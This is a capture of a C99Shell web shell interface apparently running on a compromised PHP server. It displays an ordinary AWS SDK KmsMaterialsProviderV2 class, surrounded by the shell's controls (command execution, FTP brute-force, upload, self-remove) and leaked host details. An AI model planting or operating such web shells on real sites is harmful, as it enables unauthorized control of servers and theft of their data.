!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Crypto/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     KmsMaterialsProviderV2.php (3.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Crypto;

use 
Aws\Exception\CryptoException;
use 
Aws\Kms\KmsClient;

/**
 * Uses KMS to supply materials for encrypting and decrypting data. This
 * V2 implementation should be used with the V2 encryption clients (i.e.
 * S3EncryptionClientV2).
 */
class KmsMaterialsProviderV2 extends MaterialsProviderV2 implements MaterialsProviderInterfaceV2
{
    const 
WRAP_ALGORITHM_NAME 'kms+context';

    private 
$kmsClient;
    private 
$kmsKeyId;

    
/**
     * @param KmsClient $kmsClient A KMS Client for use encrypting and
     *                             decrypting keys.
     * @param string $kmsKeyId The private KMS key id to be used for encrypting
     *                         and decrypting keys.
     */
    
public function __construct(
        
KmsClient $kmsClient,
        
$kmsKeyId null
    
) {
        
$this->kmsClient $kmsClient;
        
$this->kmsKeyId $kmsKeyId;
    }

    
/**
     * @inheritDoc
     */
    
public function getWrapAlgorithmName()
    {
        return 
self::WRAP_ALGORITHM_NAME;
    }

    
/**
     * @inheritDoc
     */
    
public function decryptCek($encryptedCek$materialDescription$options)
    {
        
$params = [
            
'CiphertextBlob' => $encryptedCek,
            
'EncryptionContext' => $materialDescription
        
];
        if (empty(
$options['@KmsAllowDecryptWithAnyCmk'])) {
            if (empty(
$this->kmsKeyId)) {
                throw new 
CryptoException('KMS CMK ID was not specified and the'
                    
' operation is not opted-in to attempting to use any valid'
                    
' CMK it discovers. Please specify a CMK ID, or explicitly'
                    
' enable attempts to use any valid KMS CMK with the'
                    
' @KmsAllowDecryptWithAnyCmk option.');
            }
            
$params['KeyId'] = $this->kmsKeyId;
        }

        
$result $this->kmsClient->decrypt($params);
        return 
$result['Plaintext'];
    }

    
/**
     * @inheritDoc
     */
    
public function generateCek($keySize$context$options)
    {
        if (empty(
$this->kmsKeyId)) {
            throw new 
CryptoException('A KMS key id is required for encryption'
                
' with KMS keywrap. Use a KmsMaterialsProviderV2 that has been'
                
' instantiated with a KMS key id.');
        }
        
$options array_change_key_case($options);
        if (!isset(
$options['@kmsencryptioncontext'])
            || !
is_array($options['@kmsencryptioncontext'])
        ) {
            throw new 
CryptoException("'@KmsEncryptionContext' is a"
                
" required argument when using KmsMaterialsProviderV2, and"
                
" must be an associative array (or empty array).");
        }
        if (isset(
$options['@kmsencryptioncontext']['aws:x-amz-cek-alg'])) {
            throw new 
CryptoException("Conflict in reserved @KmsEncryptionContext"
                
" key aws:x-amz-cek-alg. This value is reserved for the S3"
                
" Encryption Client and cannot be set by the user.");
        }
        
$context array_merge($options['@kmsencryptioncontext'], $context);
        
$result $this->kmsClient->generateDataKey([
            
'KeyId' => $this->kmsKeyId,
            
'KeySpec' => "AES_{$keySize}",
            
'EncryptionContext' => $context
        
]);
        return [
            
'Plaintext' => $result['Plaintext'],
            
'Ciphertext' => base64_encode($result['CiphertextBlob']),
            
'UpdatedContext' => $context
        
];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--